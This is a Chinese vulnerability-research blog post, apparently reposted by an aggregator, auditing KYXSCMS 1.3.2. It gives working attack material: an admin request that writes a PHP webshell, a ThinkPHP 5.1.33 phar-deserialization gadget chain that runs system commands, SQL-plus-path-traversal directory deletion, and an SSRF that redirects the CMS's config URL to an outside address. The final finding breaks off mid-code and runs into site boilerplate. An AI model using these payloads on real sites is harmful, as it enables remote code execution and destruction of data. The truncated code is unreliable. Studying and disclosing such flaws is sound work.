KYXSCMS1.3.2审计与测试
Posted bfengj
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了KYXSCMS1.3.2审计与测试相关的知识,希望对你有一定的参考价值。
KYXSCMS1.3.2审计与测试
再过一个多星期就要彻底进入期末了,将会迎来20多天的悲惨的期末复习时光,基本上算是只能一直取突击,学不辽安全了。所以最近学Java就学的很烦躁,基础知识看不下去了,那就来看一下CMS叭。想了一下,正好想起来Y4师傅时不时会发一些CMS的审计文章,所以我就跟着Y4师傅的文章来进行学习。选了这个KYXSCMS的getshell
来进行复现,但是没想到复现之后自己审计,又审出了这么多新的东西。
任意文件写入的getshell(复现)
下载源码:
http://bbs.kyxscms.com/?t/1.html
扔到本地安装一下,一开始没直接看Y4师傅的文章,而是把这个CMS的东西大致看了一下,确实我自己粗略的瞅了一会没找到getshell的地方,感觉这个CMS到处都是数据库的操作,tp5.1.33也没SQL注入,而且感觉cnvd之前已经爆了很多洞了,所以基本上可能没啥洞可以审了。
getshell是在这个CMS后台的模板编辑这个功能点上,我也是挺菜的,之前测功能点的时候这里没找到更改按钮我就没细看,其实模板编辑确实是CMS容易getshell的一个功能点,我也需要慢慢的积累一下审计的经验,熟悉CMS容易getshell的功能点,对于提高审计的效率会很有帮助。
漏洞函数位于application/admin/controller/Template.php
的edit
方法:
public function edit(){
$Template=model('template');
$data=$this->request->post();
if($this->request->isPost()){
$res = $Template->edit($data);
post传参,跟进一下$Template->edit
函数,是在application/admin/model/Template.php
:
public function edit($data){
return File::put($data['path'],$data['content']);
}
继续跟进这个静态方法put
,其实看到这里就可能有点感觉了能任意写了。
static public function put($filename,$content,$type=''){
$dir = dirname($filename);
if(!is_dir($dir))
mkdir($dir,0755,true);
if(false === file_put_contents($filename,$content)){
throw new \\think\\Exception('文件写入错误:'.$filename);
}else{
self::$contents[$filename]=$content;
return true;
}
}
相当于调用file_put_contents($filename,$content)
。
POC:
http://www.kyxscms132.com/admin/template/edit
path=.feng.php&content=<?php phpinfo();?>
接下来开始自己挖掘这个CMS的漏洞。
phar rce 1
其实之前一直在考虑,既然是thinkphp5.1.33,是不是可以利用phar反序列化。但是找文件操作函数没找到。这里的写文件其实没法phar,因为前面的mkdir过不去:
不过第二天我还在看这个cms的时候突然又想到了这里,有些不甘心的又试了一下,主要就是这里:
$dir = dirname($filename);
if(!is_dir($dir))
mkdir($dir,0755,true);
if(false === file_put_contents($filename,$content)){
比如我传path=phar://./uploads/config/20210602/20a9e2a63d2a1e5d42094af2ec61e42e.png&content=1
,经过dirname
得到的是phar://./uploads/config/20210602/
,我突然想起来这个我可以绕的啊,我真是太菜了:
path=phar://./uploads/config/20210602/20a9e2a63d2a1e5d42094af2ec61e42e.png/123&content=1
在后面再加一层目录就行:
又一处phar反序列化。
phar rce 2
非常的凑巧,我往下面看了一眼:
}else{
$path=urldecode($this->request->param('path'));
$info=$Template->file_info($path);
$this->assign('path',$path);
$this->assign('content',$info);
$this->assign('meta_title','修改模版文件');
return $this->fetch();
}
这个edit
方法如果不是post传还是get的话,跟进一下file_info
函数,进入:
public function file_info($path){
return File::read($path);
}
再继续跟进read
函数:
static public function read($filename,$type=''){
return self::get($filename,'content',$type);
}
继续跟进get
函数:
static public function get($filename,$name,$type=''){
if(!isset(self::$contents[$filename])){
if(!is_file($filename)) return false;
self::$contents[$filename]=file_get_contents($filename);
}
$content=self::$contents[$filename];
$info = array(
'mtime' => filemtime($filename),
'content' => $content
);
return $info[$name];
}
注意到第三行的is_file($filename)
,$filename
就是$_GET['path']
,所以可以实现phar反序列化。
从网上找个thinkphp5.1.33的链子,生成一下phar:
<?php
namespace think\\process\\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = [$files];
}
}
}
namespace think\\model\\concern {
trait Conversion
{
}
trait Attribute
{
private $data;
private $withAttr = ["lin" => "system"];
public function get()
{
$this->data = ["lin" => "whoami"];
}
}
}
namespace think {
abstract class Model
{
use model\\concern\\Attribute;
use model\\concern\\Conversion;
}
}
namespace think\\model{
use think\\Model;
class Pivot extends Model
{
public function __construct()
{
$this->get();
}
}
}
namespace {
$conver = new think\\model\\Pivot();
$a = new think\\process\\pipes\\Windows($conver);
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
}
?>
然后改后缀为png,然后在后台上传:
再phar反序列化即可:
http://xxxx/admin/template/edit?path=phar://./uploads/config/20210602/20a9e2a63d2a1e5d42094af2ec61e42e.png
任意文件删除1
这个CMS的审计是在数据库内容可控的基础上的。这是因为后台有一个执行SQL语句的功能。
在这个基础上我进行审计的时候,发现了这么一个任意文件删除。不过准确来说不能准确的删除某一个文件,会把指定的目录及其子目录给删除。
漏洞位于application/admin/controller/Template.php
的del
方法:
public function del(){
$id = array_unique((array)$this->request->param('id'));
if ( empty($id) ) {
$this->error('请选择要操作的数据!');
}
$Template=model('template');
$res = $Template->del($id);
if($res !== false){
$this->success('删除成功');
} else {
$this->error($Template->getError());
}
}
因为数据库可控,所以通过id查到的结果是可控的。跟进$res = $Template->del($id);
:
public function del($id){
$map = ['id' => $id];
$name = Template::where($map)->column('name');
foreach ($name as $value) {
del_dir_file('./'.config('web.default_tpl').DIRECTORY_SEPARATOR.$value,true);
}
查询出template表中id所对应的那一行的name列,然后作为del_dir_file
函数的参数的最后一部分。
这个del_dir_file
是用来删除目录或者文件的,因为第二个参数是true,所以只能删除目录。因此进行目录穿越,即可实现任意文件夹的删除。
尝试攻击一下。先在web根目录下创建一个目录1232。
然后先执行SQL:
POST /admin/tool/sqlexecute.html
sql=insert into {pre}template values('3','../../1232/','2','1','2','2','0','2','0')
然后攻击,即可删除文件夹:
http://xxxxxx/admin/template/del?id=3
本来刚准备把这个交CNVD的,结果瞅了一眼发现有个任意文件删除刚发出来,呜呜呜挖晚了被抢先了。
SSRF
继续找还找了一个SSRF,其实感觉确实没啥用,交cnvd也被驳回了,而且类似这样的地方后台还有很多。
漏洞函数在application/admin/controller/Market.php
的template
函数:
public function template(){
$url=config('web.official_url').'/market/index/4/'.Config::get('web.list_rows').'/'.$this->request->param('page');
$data = Http::doGet($url,300);
$data=json_decode($data,true);
$paginator = new Bootstrap($data['data'],$data['per_page'],$data['current_page'],$data['total'],false,['path'=>url()]);
$this->assign('list', $data['data']);
$this->assign('page',$paginator->render());
$this->assign('meta_title','模版列表');
return $this->fetch();
}
$url
就是要请求的url,之后Http::doGet($url,300);
进行get请求。不过这个doGet
要求$url
必须以http
或者https
开头,所以不能直接用gopher之类的协议进行SSRF。不过没关系,可以利用302跳转,在自己的VPS上写一个302跳转的服务,实现302跳转的SSRF。
再看一下$url
是否可控。整个url是这个:
config('web.official_url').'/market/index/4/'.Config::get('web.list_rows').'/'.$this->request->param('page')
可控的是最前面的config('web.official_url')
和最后面的$this->request->param('page')
,因为config是从数据库ky_config
里得到的,而后台存在任意SQL语句执行,所以这个配置是我们可以随意更改的。
先改:
POST /admin/tool/sqlexecute.html
sql=update {pre}config set value = 'http://118.31.168.198:39456' where id = 92
然后然后后台删除一下缓存文件:
可以尝试加上一行代码调试:
public function template(){
$url=config('web.official_url').'/market/index/4/'.Config::get('web.list_rows').'/'.$this->request->param('page');
echo $url;
exit();
可以看到$url
可控:
因此存在SSRF漏洞。
任意文件清空
漏洞位于application/admin/controller/Tool.php
的sitemap_progress
方法。
public function sitemap_progress($page=1){
$content='';
$page_num=$this->request->param('page_num');
$page_no=$this->request->param('page_no');
$type=$this->request->param('type');
$filename='sitemap';
$map = ['status'=>1];
$novel=Db::name('novel')->field('id,update_time')->where($map)->order('update_time desc')->limit($page_num);
if($page_no){
$filename.='_'.$page;
$data=$novel->page($page);
$count=Db::name('novel')->where($map)->count('id');
$page_count=ceil($count/$page_num);
}else{
$page_count=1;
}
$data=$novel->select();
foreach ($data as $k=>$v){
if($type=='xml'){
$content.='<url>'.PHP_EOL.'<loc>'.url("home/novel/index",["id"=>$v["id"]],true,true).'</loc>'.PHP_EOL.'<mobile:mobile type="pc,mobile" />'.PHP_EOL.'<priority>0.8</priority>'.PHP_EOL.'<lastmod>'.time_format($v["update_time"],'Y-m-d').'</lastmod>'.PHP_EOL.'<changefreq>daily</changefreq>'.PHP_EOL.'</url>';
}else{
$content.=url("home/novel/index",["id"=>$v["id"]],true,true).PHP_EOL;
}
}
if($type=='xml'){
$xml='<?xml version="1.0" encoding="UTF-8"?>'.PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:mobile="http://www.baidu.com/schemas/sitemap-mobile/1/">'.PHP_EOL;
$xml.=$content.PHP_EOL.'</urlset>';
$content=$xml;
}
$url=$this->request->domain().'/runtime/'.'repaste/'.$file以上是关于KYXSCMS1.3.2审计与测试的主要内容,如果未能解决你的问题,请参考以下文章